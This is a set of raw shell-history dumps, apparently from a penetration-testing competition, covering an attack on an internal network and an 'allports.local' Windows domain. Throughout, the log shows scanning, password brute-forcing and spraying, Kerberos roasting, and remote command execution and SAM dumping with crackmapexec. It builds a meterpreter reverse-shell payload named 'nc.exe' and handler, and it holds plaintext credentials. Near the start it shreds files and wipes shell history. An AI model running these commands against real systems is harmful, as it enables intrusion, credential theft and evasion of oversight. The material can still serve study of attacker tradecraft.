_raw:
nmap -sn 10.0.1.0/24 -oG nmap_ping.gnmap\
cat > hosts.txt <<'EOF'\
10.0.1.1\
10.0.1.6\
10.0.1.10\
10.0.1.11\
10.0.1.14\
10.0.1.15\
10.0.1.20\
10.0.1.21\
10.0.1.30\
10.0.1.99\
10.0.1.254\
EOF\
ls
cat hosts.txt
nmap -sS -Pn -T4 -iL hosts.txt -oA nmap_quick
ls
nmap -sS -Pn -T4 -p- -sV -sC -A -oA nmap_deep_10_0_1_6 10.0.1.6\
ls
rm -v cve.py masscan_hosts.gnmap hosts.txt nmap_deep_10_0_1_6.* nmap_quick.* \
ls
rm -v masscan_hosts.gnmap nmap_ping.* \
ls
nmap -sS -Pn -T4 -p- -sV -sC -A -oA nmap_deep_10_0_1_30 10.0.1.30\
nmap -sS -Pn -p22 --script ssh2-enum-algos,ssh-auth-methods -oN nmap_ssh_10_0_1_30 10.0.1.30\
ssh-keyscan -t rsa,ecdsa,ed25519 10.0.1.30 2>/dev/null | sed -n '1,120p'\
ssh -v 10.0.1.30 2>&1 | sed -n '1,6p'
curl -I http://10.0.1.30:8096\
curl -s http://10.0.1.30:8096/ | sed -n '1,120p'\
curl -s -L http://10.0.1.30:8096/ | sed -n '1,200p'\
curl -s http://10.0.1.30:8096/web/ | sed -n '1,200p'\
curl -s http://10.0.1.30:8096/web/index.html | sed -n '1,200p'
curl -s http://10.0.1.30:8096/System/Info | sed -n '1,200p'\
curl -s http://10.0.1.30:8096/Users | sed -n '1,200p'\
curl -s http://10.0.1.30:8096/Users/Public | sed -n '1,200p'\
curl -s http://10.0.1.30:8096/Sessions | sed -n '1,200p'
[200~curl -s http://10.0.1.30:8096/web/index.html | grep -Eio "login|signin|username|password|token" || true
curl -s http://10.0.1.30:8096/web/index.html | grep -Eio "login|signin|username|password|token" || true\
curl -s http://10.0.1.30:8096/web/ | grep -Eio "login|signin|username|password|token" || true
httpx -silent -status-code -title -tech-probe -ports 8096 -l <(echo 10.0.1.30:8096) -o httpx_10_0_1_30.txt\
cat httpx_10_0_1_30.txt\
gobuster dir -u http://10.0.1.30:8096 -w /usr/share/wordlists/dirb/common.txt -t 20 -o gobuster_10_0_1_30.txt\
head -n 60 gobuster_10_0_1_30.txt\
curl -s http://10.0.1.30:8096/System/Info/Public | sed -n '1,120p'\
curl -s http://10.0.1.30:8096/System/Info | sed -n '1,120p'\
curl -s http://10.0.1.30:8096/Audio/Audio.m3u8 | head -n 20\
curl -s http://10.0.1.30:8096/Videos/ | head -n 20\
curl -s http://10.0.1.30:8096/web/manifest.json | head -n 20\
curl -s http://10.0.1.30:8096/Users/AuthenticateByName | head -n 40\
curl -s http://10.0.1.30:8096/Users/Auth | head -n 40\
curl -s http://10.0.1.30:8096/Users/Public | jq .\
sudo apt install jq
ls password.txt
cat password.txt
sudo apt install jq
curl -s http://10.0.1.30:8096/Users/Public | jq .\
curl -s http://10.0.1.30:8096/Users/Public | sed -n '1,120p'\
curl -i http://10.0.1.30:8096/web/index.html#/admin | head -n 20\
curl -s http://10.0.1.30:8096/Sessions | head -n 40\
curl -s http://10.0.1.30:8096/Sessions/Active | head -n 40\
curl -i http://10.0.1.30:8096/web/index.html#/admin | head -n 20\
clear
curl -s http://10.0.1.30:8096/Users/Public | jq .\
curl -s http://10.0.1.30:8096/Users/Public | sed -n '1,120p'\
curl -i http://10.0.1.30:8096/web/index.html#/admin | head -n 20\
curl -s http://10.0.1.30:8096/Sessions | head -n 40
curl -s http://10.0.1.30:8096/Sessions/Active | head -n 40
curl -s http://10.0.1.30:8096/Help | head -n 100\
curl -s http://10.0.1.30:8096/swagger | head -n 100
curl -s http://10.0.1.30:8096/swagger/index.html | head -n 100
curl -s http://10.0.1.30:8096/Users/New | head -n 40\
curl -s http://10.0.1.30:8096/Branding/Configuration | head -n 40\
curl -s http://10.0.1.30:8096/Startup/Configuration | head -n 40\
curl -s http://10.0.1.30:8096/System/Configuration | head -n 80\
curl -s http://10.0.1.30:8096/Branding/Configuration | head -n 80\
curl -s http://10.0.1.30:8096/Notifications/Configuration | head -n 80\
curl -s http://10.0.1.30:8096/ServerConfiguration | head -n 80\
for p in System System/Info System/Info/Public System/Configuration Startup/Configuration Users Users/Public Sessions Sessions/Active Branding/Configuration ServerConfiguration Notifications/Configuration Help swagger; do\
  echo "=== $p ==="; curl -s http://10.0.1.30:8096/$p | sed -n '1,40p'; echo; done\
curl -i http://10.0.1.30:8096/web/index.html#/admin | sed -n '1,60p'\
curl -s http://10.0.1.30:8096/web/main.jellyfin.bundle.js?0f9d6486af79af0b5be2 | sed -n '1,120p'  # may show endpoints used by UI\
curl -I http://10.0.1.30:8096 | sed -n '1,120p'\
curl -s -X OPTIONS http://10.0.1.30:8096/Users -i\
for p in System System/Info System/Info/Public System/Configuration Startup/Configuration Users Users/Public Sessions Sessions/Active Branding/Configuration ServerConfiguration Notifications/Configuration Help swagger; do\
  len=$(curl -s -w '%{size_download}' -o /dev/null "http://10.0.1.30:8096/$p")\
  if [ "$len" -gt 0 ]; then\
    echo "=== $p ($len bytes) ==="\
    curl -s "http://10.0.1.30:8096/$p" | sed -n '1,200p'\
    echo\
  fi\
done\
curl -D headers_10.0.1.30.txt -s http://10.0.1.30:8096/System/Info/Public -o System_Info_Public.json\
curl -D headers_10.0.1.30.txt -s http://10.0.1.30:8096/Startup/Configuration -o Startup_Configuration.json\
curl -D headers_10.0.1.30.txt -s http://10.0.1.30:8096/web/index.html#/admin -o admin_index.html\
curl -s http://10.0.1.30:8096/web/main.jellyfin.bundle.js?0f9d6486af79af0b5be2 -o main.jellyfin.bundle.js\
head -n 80 main.jellyfin.bundle.js\
ls
shred -uzv "admin_index.html" "headers_10.0.1.30.txt" "masscan_hosts.gnmap" nmap_deep_10_0_1_30.* "nmap_ssh_10_0_1_30" "gobuster_10_0_1_30.txt" "main.jellyfin.bundle.js" "password.txt"\
# if shred not available, use:\
rm -P "admin_index.html" "headers_10.0.1.30.txt" "masscan_hosts.gnmap" nmap_deep_10_0_1_30.* "nmap_ssh_10_0_1_30" "gobuster_10_0_1_30.txt" "main.jellyfin.bundle.js" "password.txt"\
ls
clear
ls
rm -v /mnt/data/Startup_Configuration.json /mnt/data/System_Info_Public.json\
rm -v ~/Startup_Configuration.json ~/System_Info_Public.json\
ls
clear
cat password.txt
ls
rm -v ~/masscan_hosts.gnmap\
ls
clear
histroy
history
history -c\
history -c && history -w\
rm ~/.bash_history\
echo $SHELL\
rm ~/.zsh_history\
history


_raw: : 1761393091:0;curl -s -i http://10.0.1.11:8000/ids -H "Authorization: Bearer eyFakeToken"\


_raw: : 1761393076:0;smbclient -L 10.0.1.6 -U SVC_STABILIZE -m SMB2


_raw: : 1761393037:0;mysql -u SVC_STABILIZE -p 1gyroscope -h 10.0.1.99


_raw: : 1761393024:0;mysql -u SVC_STABILIZE -p1gyroscope -h 10.0.1.99


_raw:
: 1761392814:0;curl -s -i http://10.0.1.11/api/tables | sed -n '1,160p'\
curl -s -i http://10.0.1.11/api/table/all_ports_tours_all_invoice_log?limit=10 | sed -n '1,160p'\
curl -s -i http://10.0.1.11/api/data/all_ports_tours_all_invoice_log?limit=10 | sed -n '1,160p'\
curl -s -i http://10.0.1.11/api/records/all_ports_tours_all_invoice_log?limit=10 | sed -n '1,160p'\


_raw: : 1761392797:0;runuser -u _gvm -- gvmd --get-scanners


_raw: : 1761392777:0;sudo runuser -u _gvm -- gvmd --get-scanners


_raw:
: 1761392759:0;curl -sS http://10.0.1.11/assets/http-client.DABZ03PL.js \\
  http://10.0.1.11/assets/index.td6HexrO.js \\
  http://10.0.1.11/assets/routing.DINL4Gax.js \\
  | grep -Eo --line-number "/[a-zA-Z0-9_/-]{3,200}" | grep -Ei "tables|table|invoice|query|api|/data|/table|/tables|/query|/sql|/records|/rows" | sort -u\


_raw: : 1761392718:0;sudo greenbone-feed-sync --type CERT


_raw: : 1761392705:0;curl -s "http://10.0.1.11/tables/all_ports_tours_all_invoice_log?limit=10" | sed -n '1,200p'\


_raw:
: 1761392663:0;curl -s "http://10.0.1.11/table/all_ports_tours_all_invoice_log?limit=10" \\
  | jq -r '. as $root | ($root.columns) as $cols | ($root.rows[] | [range(0; $cols|length) | {key:$cols[.], value:.}] )'\


_raw: : 1761392605:0;curl -s "http://10.0.1.11/table/all_ports_tours_all_invoice_log?limit=10"


_raw: : 1761392601:0;curl -s "http://10.0.1.11/table/all_ports_tours_all_invoice_log?limit=10" | jq .\


_raw: : 1761392597:0;gobuster dir -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -u http://10.0.1.15:8080/ -k


_raw: : 1761392526:0;smbclient -L  //10.0.1.6/ -U Deckhand-01.allports.local


_raw: : 1761392226:0;curl -s -o git_refs_heads_master  http://10.0.1.14:5001/.git/refs/heads/master~


_raw: : 1761392223:0;curl -s -o dot_ssh_authorized     http://10.0.1.14:5001/.ssh/authorized_keys


_raw: : 1761392148:0;smbclient -L  //10.0.1.6/NETLOGON -U rdavis --option='client min protocol=SMB2'


_raw: : 1761392133:0;smbclient -L  //10.0.1.6/ADMIN$ -U rdavis --option='client min protocol=SMB2'


_raw: : 1761392122:0;smbclient -L  //10.0.1.6/ADMIN$$ -U rdavis --option='client min protocol=SMB2'


_raw: : 1761392096:0;smbclient -L  //10.0.1.6/C$ -U rdavis --option='client min protocol=SMB2'


_raw: : 1761392086:0;cp nc.exe /home/pentester/Desktop


_raw: : 1761392061:0;smbclient -L  //10.0.1.6/C$ -U rdavis --option='client min protocol=SMB1'


_raw: : 1761392031:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.207 LPORT=4444 -o nc.exe


_raw: : 1761391994:0;smbclient -L//10.0.1.6 -U "administrator%admin"


_raw: : 1761391993:0;msfvenom -p windows/x64/meterpreter/reverce_tcp LHOST=10.0.254.207 LPORT=4444 -o nc.exe


_raw: : 1761391885:0;msfvenom -p windows/x64/meterpreter/reverce_tcp LHOST=


_raw: : 1761391836:0;gobuster dir -u "http://10.0.1.11:8045/api/" -w /usr/share/wordlists/dirb/common.txt -t 10\


_raw: : 1761391823:0;gobuster dir -u "http://10.0.1.11:8045/api/" -w /usr/share/wordlists/dirb/common.txt -x php,txt,json -t 10\


_raw: : 1761391770:0;sudo greenbone-feed-sync --type SCAP\


_raw: : 1761391715:0;sudo greenbone-feed-sync --type GVMD_DATA


_raw: : 1761391495:0;crackmapexec smb 10.0.1.6  -u 'rdavis' -p 'rosdav50' --sam


_raw: : 1761391478:0;crackmapexec smb 10.0.1.6  -u 'rdavis' -p 'rosdav50' --loggedon-users


_raw: : 1761391467:0;crackmapexec smb 10.0.1.6 --verbose -u 'rdavis' -p 'rosdav50' --loggedon-users


_raw: : 1761391353:0;crackmapexec smb 10.0.1.6 --verbose -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method atexec --verbose


_raw: : 1761391312:0;crackmapexec --verbose smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method atexec --verbose


_raw: : 1761391273:0;crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method atexec --verbose


_raw: : 1761391226:0;crackmapexec -h smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method atexec


_raw: : 1761391214:0;curl -fsSL https://get.docker.com | sudo bash\


_raw: : 1761390980:0;pip3 install --user impacket


_raw: : 1761390894:0;crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method atexec


_raw: : 1761390877:0;crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method attex


_raw: : 1761390836:0;crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method smbexec


_raw: : 1761390669:0;crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'-sam


_raw: : 1761390638:0;crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -sam


_raw: : 1761389948:0;ffuf -u http://10.0.1.14:5001/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc all\


_raw:
: 1761389941:0;curl -v -X PATCH http://10.0.1.14:5001/evox/some_resource \\
  -H "Content-Type: application/json" \\
  --data '{"key":"attack-test"}'


_raw:
: 1761389911:0;curl -v -X PUT --data-binary 'pentest-check-123' \\
  -H 'Content-Type: text/plain' \\
  http://10.0.1.14:5001/evox/test_put.txt


_raw: : 1761389213:0;gobuster dir -u http://10.0.1.99:8090 -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster_8090.txt\


_raw:
: 1761389168:0;for p in /server-info /server-status /status /admin /console /manager /jmx /jetty/; do\
  echo "=== $p ==="\
  curl -sk --max-time 8 "http://10.0.1.99:8090${p}" | sed -n '1,60p'\
done


_raw: : 1761389145:0;sudo nmap -sV --script vuln -p 8090 10.0.1.99 -oN nmap_jetty_vuln.txt\


_raw: : 1761389019:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster-10.0.1.11-http.txt\


_raw: : 1761389014:0;GO111MODULE=on go get github.com/hahwul/dalfox/v2\


_raw: : 1761388967:0;systemctl start docker.io


_raw: : 1761388960:0;sudo docker pull hahwul/dalfox:latest


_raw: : 1761388956:0;docker pull hahwul/dalfox:latest


_raw: : 1761388809:0;go install github.com/hahwul/dalfox/v2@latest\


_raw: : 1761388605:0;nmap -sV -p 135 --script=msrpc-enum,msrpc-info,msrpc-methods -Pn -T4 10.0.1.6


_raw: : 1761388585:0;apt install docker-cli   \


_raw: : 1761388572:0;ldapsearch -x -LLL -H ldap://allports.local0:389 -D "REDACTED_EMAIL0" -w 'password' -b "BASE_DN" -s sub "(sAMAccountName=*)" cn sAMAccountName distinguishedName memberOf\


_raw: : 1761388562:0;ldapsearch -x -LLL -H ldap://allports.local0:389 -b "BASE_DN" -s sub "(objectClass=group)" cn distinguishedName member\


_raw: : 1761388550:0;ldapsearch -x -LLL -H ldap://allports.local0:389 -b "dc=allports,dc=local0" -s sub "(sAMAccountName=*)" cn sAMAccountName distinguishedName memberOf\


_raw: : 1761388543:0;ldapsearch -x -LLL -H ldap://allports.local0:389 -b "BASE_DN" -s sub "(sAMAccountName=*)" cn sAMAccountName distinguishedName memberOf\


_raw: : 1761388526:0;ldapsearch -x -LLL -H ldap://allports.local0:389 -s base -b "" "(objectClass=*)" namingContexts defaultNamingContext rootDomainNamingContext configurationNamingContext\


_raw:
ip a
nmap -sV -O -Pn -v -sS 10.0.1.0/24
nmap -sV -O -Pn -v -sC 10.0.1.0/24
nmap -sV -O -v -sC 10.0.1.0/24
nmap -sV -O -v -sS 10.0.1.0/24
clear
nmap -sS -sV -O -p- 10.0.1.0/24
nmap -F 10.0.1.0/24
nmap -sS -sC -sV -O -Pn 10.0.1.99
msfconsole
python3
sudp apt install python3
sudo apt install python3
echo CVE
nano cve.py
ls
echo password.txt
cat password.txt
python3 cve.py scan -T 10.0.1.99 -p 22
ip a
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.254.203; set LPORT 9999; exploit -j"
python3 cve.py scan -T 10.0.1.11 -p 22
python3 cve.py scan -T 10.0.1.20 -p 22
python3 cve.py scan -T 10.0.1.15 -p 22
python3 cve.py scan -T 10.0.1.30 -p 22
python3 cve.py scan -T 10.0.1.10 -p 22
python3 cve.py scan -T 10.0.1.6 -p 22
python3 cve.py scan -T 10.0.1.1 -p 22
msfconsole
clear
nmap -sV -O -v -sS -Pn -F 10.0.1.0/24
nmap -sV -O -Pn -F 10.0.1.0/24
clear
nmap -sV --script vulners 10.0.1.99
msfconsole
sudo apt install msfconsole
cat password.txt
sudo apt install msfconsole
sudo apt update msfconsole
ssh 10.0.1.99
nmap -sV -O -v -sC -p- 10.0.1.0/24
nmap -sV --script vulners 10.0.1.99
nmap -sV --script vulners 10.0.1.15
msfconsole
dirbuster -h
dirb -u http://10.0.1.15:8080
dirbuster --version
dirb -h
dirb --help
dirb -u http://10.0.1.15:8080
dirb -u "ttp://10.0.1.15:8080"
dirb -u "ttp://10.0.1.15:8080" -w /usr/share/wordlists/dirbuster/
dirb -u "ttp://10.0.1.15:8080" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
dirb -u "http://10.0.1.15:8080" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
ip a
clear


_raw: : 1761388330:0;crackmapexec smb 10.0.1.6 -u smart_users.txt -p 'Winter2025!' --no-bruteforce\


_raw: : 1761388304:0;ldapsearch -x -H ldap://allports.local0:389 -b "dc=allports,dc=local0" "(objectClass=user)"\


_raw: : 1761388287:0;git clone https://github.com/defparam/smuggler


_raw: : 1761388224:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local0" "(objectClass=user)"\


_raw: : 1761388220:0;cat  /home/pentester/smart_users.txt\


_raw: : 1761388193:0;GetUserSPNs.py allports.local/ -usersfile users.txt\


_raw: : 1761388171:0;python3 GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users /home/pentester/smart_users.txt\


_raw: : 1761388134:0;ldapsearch -x -h 10.0.1.6 -b "dc=allports,dc=local0" "(objectClass=user)"\


_raw: : 1761388094:0;python3 GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users smart_users.txt\


_raw: : 1761388092:0;python3 examples/GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users smart_users.txt


_raw: : 1761388058:0;python3 examples/GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users smart_users.txt


_raw: : 1761387946:0;python3 examples/GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users smart_users.txt


_raw: : 1761387928:0;searchsploit Microsoft Windows RPC over HTTP 1.0\


_raw: : 1761387841:0;kerbrute userenum --dc 10.0.1.6 -d allports.tours /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt\


_raw:
: 1761387642:0;echo -e "admin\nguest\nadministrator\njjones\nmjones\nbjones\njsmith\nasmith" > smart_users.txt\
kerbrute userenum --dc 10.0.1.6 -d allports.local smart_users.txt\


_raw: : 1761387640:0;searchsploit Microsoft Terminal Services


_raw:
: 1761387614:0;echo -e "admin\nguest\nadministrator\njjones\nmjones\nbjones\njsmith\nasmith" > smart_users.txt\
kerbrute userenum --dc 10.0.1.6 -d allports.local smart_users.txt\


_raw: : 1761387607:0;searchsploit Microsoft Windows RPC


_raw: : 1761387602:0;searchsploit Microsoft Windows RPC over HTTP 1.0


_raw: : 1761387261:0;kerbrute userenum --dc 10.0.1.6 -d allports.local usernames.txt | tee kerbrute_output.txt\


_raw:
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.1/login1
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/login
nmap -p445 --script smb-enum-users.nse 10.0.1.6\
nmap -p445 --script smb-enum-users.nse 10.0.1.1\
nmap -p445 --script smb-enum-users.nse 10.0.1.10
nmap -p445 --script smb-enum-users.nse 10.0.1.11
nmap -p445 --script smb-enum-users.nse 10.0.1.14
nmap -p445 --script smb-enum-users.nse 10.0.1.15
nmap -p445 --script smb-enum-users.nse 10.0.1.20
nmap -p445 --script smb-enum-users.nse 10.0.1.21
nmap -p445 --script smb-enum-users.nse 10.0.1.30
nmap -p445 --script smb-enum-users.nse 10.0.1.99
nmap -p445 --script smb-enum-users.nse 10.0.1.254
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/login
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/login:80
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.11/login:80
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.11/login
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/login
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://10.0.1.11
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post  http://10.0.1.11
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post  http://10.0.1.11/login
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-postform  http://10.0.1.11/login
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.11 http-get\
hydra -L /usr/share/wordlists/rockyou.tx -P /usr/share/wordlists/rockyou.txt 10.0.1.11 http-get\
hydra -L /usr/share/wordlists/rockyou.tx -P /usr/share/wordlists/rockyou.txt http:..10.0.1.11 http-get\
hydra -L /usr/share/wordlists/rockyou.tx -P /usr/share/wordlists/rockyou.txt http://10.0.1.11 http-get\
hydra -L /usr/share/wordlists/rockyou.tx -P /usr/share/wordlists/rockyou.txt http://10.0.1.11:80/login http-get\
hydra -L /usr/share/wordlists/rockyou.tx -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/login:80 http-get\
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/login:80 http-get\
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt http://10.0.1.11/ http-get\
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.11 http-get\
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.11 http-post-fprm\
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.11 http-post-form
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.11 http-post
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.11
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/sqlmap.txt ssh://10.0.1.11
clear


_raw:
ssh pentester@10.0.1.11
ssh pentester@10.0.1.10
ssh pentester@10.0.1.16
ssh pentester@10.0.1.6
ssh pentester@10.0.1.1
ssh pentester@10.0.1.14
ssh pentester@10.0.1.20
ssh pentester@10.0.1.21
ssh pentester@10.0.1.30
ssh pentester@10.0.1.99
clear


_raw: : 1761387185:0;mysql -h 10.0.1.99 -P 3306 -u root -p'' -e "SHOW GRANTS FOR CURRENT_USER(); SHOW GLOBAL VARIABLES LIKE 'local_infile'; SHOW GLOBAL VARIABLES LIKE 'secure_file_priv';"\


_raw: : 1761387167:0;mysql -h 10.0.1.99 -P 3306 -u root -p'' -e "SELECT VERSION(); SELECT CURRENT_USER(), USER();"\


_raw:
ipconfig
ifconfig
ping 10.0.1.0
ping 129.21.249.48
nmap -sC 10.0.1.14
msfconsole
nmap -sC -sV -p 20,80,443,5001 10.0.1.14
curl -v http://10.0.1.14:5001
nmap -sC -sV -p 22,80,443,5001 10.0.1.14
msfconsole
curl -X PUT http://10.0.1.14:5001 -v
curl -X DELETE  http://10.0.1.14:5001 -v
curl -X PATCH  http://10.0.1.14:5001 -v
curl -v -X http://10.0.1.14:5001/ 2>&1 | sed -n '1,200p'
curl -v -X OPTIONS http://10.0.1.14:5001/ 2>&1 | sed -n '1,200p'
ls
cat password.txt
cd ../
ls
cd kali
cd pentester
ls
cd thinclient_drives
ls
cd ../
nikto -host http://10.0.1.14
host 10.0.1.14
cd /usr/share
ls
cd wordlists
ls
cd dirbuster
ls
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10 -x php,html,txt
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
ffuf -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
ffuf -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u https://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
echo | openssl s_client -connect 10.0.1.14:443 -servername 10.0.1.14 2>/dev/null | openssl x509 -noout -text | sed -n '/Subject Alternative Name/,+3p'
nmap -sV -p 22 --script ssh2-enum-algos 10.0.1.14
msfconsole
ffuf -u https://10.0.1.14/dashboard/#/FUZZ/routers -w /usr/share/wordlists/dirb/common.txt
ffuf -u https://10.0.1.14/dashboard/#/routers/FUZZ -w /usr/share/wordlists/dirb/common.txt
searchsploit mysql
searchsploit jetty
hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 10.0.1.14 ssh


_raw: : 1761387157:0;mysql -h 10.0.1.99 -P 3306 -u USER -p'' -e "SELECT VERSION(); SELECT CURRENT_USER(), USER();"\


_raw: : 1761387103:0;python3 examples/GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users usernames.txt\


_raw: : 1761387094:0;ls /usr/share/nmap/scripts | grep mysql\


_raw: : 1761387080:0;echo "127.0.1.1 cptc11-regional-emea-t9-vdi-kali06" | sudo tee -a /etc/hosts\


_raw: : 1761387026:0;sudo nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-variables,mysql-vuln-cve2012-5611 10.0.1.99\


_raw: : 1761387022:0;nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-variables,mysql-vuln-cve2012-5611 10.0.1.99\


_raw: : 1761386878:0;python3 examples/GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users usernames.txt\


_raw:
: 1761386829:0;git clone https://github.com/fortra/impacket.git\
cd impacket\


_raw:
: 1761386805:0;sudo apt update\
sudo apt install python3-impacket\


_raw: : 1761386793:0;nuclei -target pubstorm.com


_raw: : 1761386653:0;GetNPUsers.py allports.local/ -dc-ip 10.0.1.6 -users usernames.txt


_raw: : 1761386644:0;nuclei -t https://pubstorm.com/mail/


_raw: : 1761386593:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p top-passwords-shortlist.txt --local-auth -x 'whoami' --exec-method smbexec


_raw: : 1761386546:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p top-passwords-shortlist.txt --local-auth --exec-method smbexec


_raw: : 1761386535:0;ffuf -u http://10.0.1.15:8080/pages/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761386480:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p top-passwords-shortlist.txt --local-auth


_raw: : 1761386461:0;ffuf -u http://10.0.1.15:8080/assets/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761386435:0;ffuf -u http://10.0.1.15:8080/includes/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761386412:0;crackmapexec smb 10.0.1.20 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p top-passwords-shortlist.txt --local-auth


_raw: : 1761386389:0;ffuf -u http://10.0.1.15:8080/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761386389:0;crackmapexec smb 10.0.1.20 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p top-passwords-shortlist.txt


_raw: : 1761386334:0;ffuf -u http://10.0.1.15:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt


_raw: : 1761386308:0;sudo tshark -i any -f "udp port 88" -Y "kerberos.msg_type == 10" -V > asreq.txt\


_raw:
: 1761386274:0;kerbrute passwordspray \\
  --dc 10.0.1.6 \\
  -d allports.local \\
  users.txt \\
  rockyou.txt\


_raw: : 1761386228:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p top-passwords-shortlist.txt


_raw: : 1761386028:0;cat index-LhsN2kIq.js | mantra


_raw: : 1761386012:0;cat index-LhsN2kIq.js | mantara


_raw: : 1761386010:0;cp ~/go/bin/mantra /usr/local/bin


_raw: : 1761385975:0;sudo ./BloodHound --no-sandbox


_raw: : 1761385962:0;cat index-LhsN2kIq.js | mantara


_raw: : 1761385894:0;go install github.com/Brosck/mantra@latest


_raw: : 1761385848:0;go install github.com/Brosck/mantra@latest


_raw: : 1761385788:0;ffuf -u http://10.0.1.99:8080/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .php


_raw: : 1761385763:0;sudo apt install bloodhound-legacy


_raw: : 1761385707:0;ffuf -u https://10.0.1.99/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .php


_raw: : 1761385666:0;ffuf -u http://10.0.1.99/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .php


_raw: : 1761385584:0;git clone https://github.com/SpecterOps/BloodHound-Legacy.git


_raw: : 1761385540:0;getTGT.py  allports.local/SVC_STABILIZE:'1gyroscope' -dc-ip 10.0.1.6


_raw: : 1761385511:0;searchsploit Microsoft Windows netbios-ssn


_raw: : 1761385413:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M user-desc


_raw: : 1761385405:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M maq


